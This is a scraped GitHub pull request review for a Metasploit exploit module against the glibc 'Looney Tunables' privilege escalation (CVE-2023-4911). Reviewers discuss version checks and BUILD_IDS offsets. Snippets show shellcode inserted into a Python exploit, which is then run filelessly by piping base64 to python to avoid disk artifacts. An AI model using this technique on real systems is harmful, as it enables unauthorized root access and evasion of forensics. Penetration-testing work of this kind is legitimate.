-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) #18541
Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) #18541
Conversation
8b62160
to
df111af
Compare
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for this great module @jheysel-r7 ! I left a few comments for you to review when you get a chance. I tested against a fresh install of Ubuntu 22.04.2 and it works great!
}, | ||
} | ||
|
||
BUILD_IDS = { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do you have some documentation on how to generate those magic values?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've added a comment referencing the original PoC which can find these offsets.
case sysinfo[:distro] | ||
when 'ubuntu' | ||
if (Rex::Version.new('2.35-0ubuntu3.4') > Rex::Version.new(glibc_version) && Rex::Version.new('2.35') > Rex::Version.new(glibc_version)) || | ||
(Rex::Version.new('2.37-0ubuntu2.1') > Rex::Version.new(glibc_version) && Rex::Version.new('2.37') > Rex::Version.new(glibc_version)) || |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There is the handy between
method, that one can use like this: Rex::Version.new(glibc_version).between?(Rex::Version.new('1.2'), Rex::Version.new('1.9'))
shell_code = payload.encoded.unpack('H*').first | ||
exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code) | ||
upload("#{path}/#{python_script}", exploit_data) | ||
cmd = "#{python_binary} #{path}/#{python_script}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would something like cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)}|base64 -d|#{python_binary} -c")
work? It would avoid writing the exploit to disk.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Love that idea @jvoisin, got the payload running without being written to disk 👌
CC @blasty |
@jvoisin pong. anything in particular I should comment on? @jheysel-r7 emailed me a while back asking me to add a MIT license blurb to gnu-acme.py so it could be incorporated into MSF. Sorry for not getting back to you, Jack; I'm bad at this whole E-mail thing. :-( I won't be adding any conventional LICENSE blurbs to any of my public exploit code. It looks like @jheysel-r7 managed to work around this requirement by loosely rewriting my code though? |
No worries about the email @blasty! I'm not great with the email thing either especially if I don't know the person. Also no worries about the license blurb, I'm not a lawyer however the loose rewriting was an attempt to get around that issue. I've credited you as an author of the module, let me know if you have any questions or issues with any of this. |
No issues from my side. If you could change my attribution line from |
Nope, nothing in particular, I just wanted to:
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks all for the detailed review. I've pushed some changes and retested both targets listed in the documentation's scenarios section.
}, | ||
} | ||
|
||
BUILD_IDS = { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've added a comment referencing the original PoC which can find these offsets.
shell_code = payload.encoded.unpack('H*').first | ||
exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code) | ||
upload("#{path}/#{python_script}", exploit_data) | ||
cmd = "#{python_binary} #{path}/#{python_script}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Love that idea @jvoisin, got the payload running without being written to disk 👌
include Msf::Exploit::FileDropper | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
BUILD_IDS = %w[69c048078b6c51fa8744f3d7cff3b0d9369ffd53 3602eac894717d56555552c84fc6b0e4d6a4af72 a99db3715218b641780b04323e4ae5953d68a927 a8daca28288575ffc8c7641d40901b0148958fb1 61ef896a699bb1c2e4e231642b2e1688b2f1a61e 9a9c6aeba5df4178de168e26fe30ddcdab47d374 e7b1e0ff3d359623538f4ae0ac69b3e8db26b674 956d98a11b839e3392fa1b367b1e3fdfc3e662f6] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You might want to use a search'n'replace with a placeholder in the .py file for those, to avoid duplicating the information.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good call
'DisclosureDate' => '2023-10-03', | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE, ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, ], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Now that the payload is passed to python directly, there are no traces on disk, are they?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think so, I've removed this now.
|
||
def check_ld_so_build_id | ||
# Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so | ||
if command_exists?('file ') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if command_exists?('file ') | |
if !command_exists?('file ') | |
print_warning('Unable to verify the BuildID for ld.so by using `file`, the exploit has a chance of being incompatible with this target.') | |
end |
No need to fail should file
not exist.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've left this suggestion out. If file
does not exist we print the warning message in the else
block and skip everything inside the if
as it's all dependant on file
being present.
exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code) | ||
|
||
# If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully | ||
output = cmd_exec("$(echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary})") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why wrap the command in $(…)
? cmd_exec
alone should be working, no?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yup my mistake, that was unnecessarily copy and pasted over from testing.
Co-authored-by: Julien Voisin <[email protected]>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for all the comments @jvoisin, much appreciated!
exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code) | ||
|
||
# If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully | ||
output = cmd_exec("$(echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary})") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yup my mistake, that was unnecessarily copy and pasted over from testing.
|
||
def check_ld_so_build_id | ||
# Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so | ||
if command_exists?('file ') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've left this suggestion out. If file
does not exist we print the warning message in the else
block and skip everything inside the if
as it's all dependant on file
being present.
'DisclosureDate' => '2023-10-03', | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE, ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, ], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think so, I've removed this now.
include Msf::Exploit::FileDropper | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
BUILD_IDS = %w[69c048078b6c51fa8744f3d7cff3b0d9369ffd53 3602eac894717d56555552c84fc6b0e4d6a4af72 a99db3715218b641780b04323e4ae5953d68a927 a8daca28288575ffc8c7641d40901b0148958fb1 61ef896a699bb1c2e4e231642b2e1688b2f1a61e 9a9c6aeba5df4178de168e26fe30ddcdab47d374 e7b1e0ff3d359623538f4ae0ac69b3e8db26b674 956d98a11b839e3392fa1b367b1e3fdfc3e662f6] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good call
case sysinfo[:distro] | ||
when 'ubuntu' | ||
if command_exists?('ldconfig') | ||
(file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Any reasons for wrapping this in parenthesis?
Co-authored-by: Julien Voisin <[email protected]>
Thanks for updating this @jheysel-r7 ! Everything looks good to me now. I tested against fresh install of Ubuntu 22.04.2 and verified I got a session as root. I'll go ahead and land it.
|
Release NotesThis adds an exploit module for the "Looney Tunables" Linux LPE, identified as CVE-2023-4911. It checks the version of glibc running on the target to make sure it is vulnerable and, once verified, it drops a python script that exploits the vulnerability and returns a session running in the context of the root user. |
The PR adds an exploit for the "Looney Tunables" Linux LPE. It checks to make sure the version of glibc running on the target is vulnerable and once verified it drops a python script that exploits the vulnerability and returns a session running in the context of the root user.